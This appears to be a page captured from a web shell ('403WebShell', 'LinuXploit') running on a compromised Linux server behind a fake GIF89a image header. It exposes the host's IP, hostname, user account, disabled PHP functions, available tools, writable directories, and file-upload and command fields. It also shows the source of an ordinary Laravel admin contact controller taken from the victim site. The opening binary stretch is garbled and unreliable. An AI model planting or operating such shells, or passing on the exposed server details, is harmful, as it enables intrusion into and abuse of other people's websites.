GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ý NETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýý m&ýýE8ýSýkGýAýpxýaýýý R2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|s hýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPý ýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbx ýl5}ýpý ýýý ý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~ 6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5 !_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýý ýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp% AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ý ýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`A ý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý 403WebShell
403Webshell
Server IP : 217.18.85.50  /  Your IP : 3.136.19.136
Web Server : LiteSpeed
System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64
User : ferhatgenc ( )
PHP Version : 7.2.34
Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/ferhatgenc/public_html/app/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ferhatgenc/public_html/app/Http/Controllers/Admin/PanelContactController.php
<?php

namespace App\Http\Controllers\Admin;

use App\Models\Address;
use App\Models\Gallery;
use App\Models\Config;
use League\Flysystem\Filesystem;
use Illuminate\Http\Request;
use Intervention\Image\ImageManager;

class PanelContactController extends Controller
{

    public $defsm = [];

    public $defsmenv = [];

    //
    public function __construct()
    {

        //dd(getSocialMediaData());
        $arr = $arr1 = SOCIALMEDIA_DEF;
        $this->defsm = data_set($arr, '*',"");
        $this->defsmenv = $arr1;
    }

    public function index()
    {
        $addresses = Address::all();
        return view('admin.pages.contact_addresses', compact("addresses"));
    }
    public function addrindex()
    {
        $addresses = Address::paginate();
        return view('admin.pages.contact_addresses', compact("addresses"));
    }

    public function addrdelete(Request $request, $id)
    {
        $address = Address::find($id);
        $isdefault = $address->default;
        $address->delete();
        $newdefault = $isdefault ? Address::first() : null;
        if($isdefault && $newdefault){
            $newdefault->default = 1;
            $newdefault->update();
        }
        $request->session()->flash("msg", "Adres Silindi");
        return $this->index();
    }

    public function addradd()
    {
        return view('admin.pages.add_edit_contact_address');
    }

    public function addrstore(Request $request, $id = null)
    {

        //dd(affixFileName('',"-thumb-450x300"));

        $validate = $request->validate([
            "title" => 'required|max:30',
            "address" => 'required|max:191',
            "phone1"=>'nullable|max:14',
            "phone1_humanr"=>'required_with:phone1|max:25',
            "phone2"=>'nullable|max:14',
            "phone2_humanr"=>'required_with:phone2|max:25',
            "fax"=>'nullable|max:14',
            "fax_humanr"=>'required_with:fax|max:25',
            'email1'=>"nullable|email|max:191",
            'email2'=>"nullable|email|max:191",
            'lat'=>"nullable|max:20",
            'lng'=>"nullable|max:20",
            'default'=>'boolean'

        ]);
        //dd($request->default);

        $default = $request->default;



        $requestArr = $request->except('default');
        //dd($requestArr);

        $new = Address::updateOrCreate(["id" => $id], $requestArr);

        if($default && $new){
            $def = Address::where('default',1)->first();
            if($def){
                $def->default=0;
                $def->update();
            }
            $new->default = 1;
            $new->update();
        }



        return redirect()->back();//view('admin.pages.products', compact("products"));
    }

    public function addredit($id)
    {
        return view('admin.pages.add_edit_contact_address', ["address" => Address::find($id)]);
    }

    // region SOCIALMEDIA

    public function socialmedia()
    {
       /* $smdata = Config::firstOrNew(["config_key" => "contact.socialmedia"], ["config_value" => $this->defsm, "config_type" => "array"]);
        if( ! $smdata->exists) {$smdata->save();}
        $smdata = $smdata->value;
        //dd($smdata);
        $smenv = $this->defsmenv;*/
       $smdata = getSocialMediaData();
        return view('admin.pages.contact_socialmedia', compact("smdata"));
    }

    public function socialmediastore(Request $request)
    {
        //dd($request->socialmedia);
        $config = Config::updateOrCreate(["config_key" => "contact.socialmedia"], ["config_value" => array_merge($this->defsm, (isset($request->socialmedia) && is_array($request->socialmedia) && count($request->socialmedia) ? $request->socialmedia : [])), "config_type" => "array"]);
        return $this->socialmedia();
    }


    //private function

    // endregion



}

Youez - 2016 - github.com/yon3zu
LinuXploit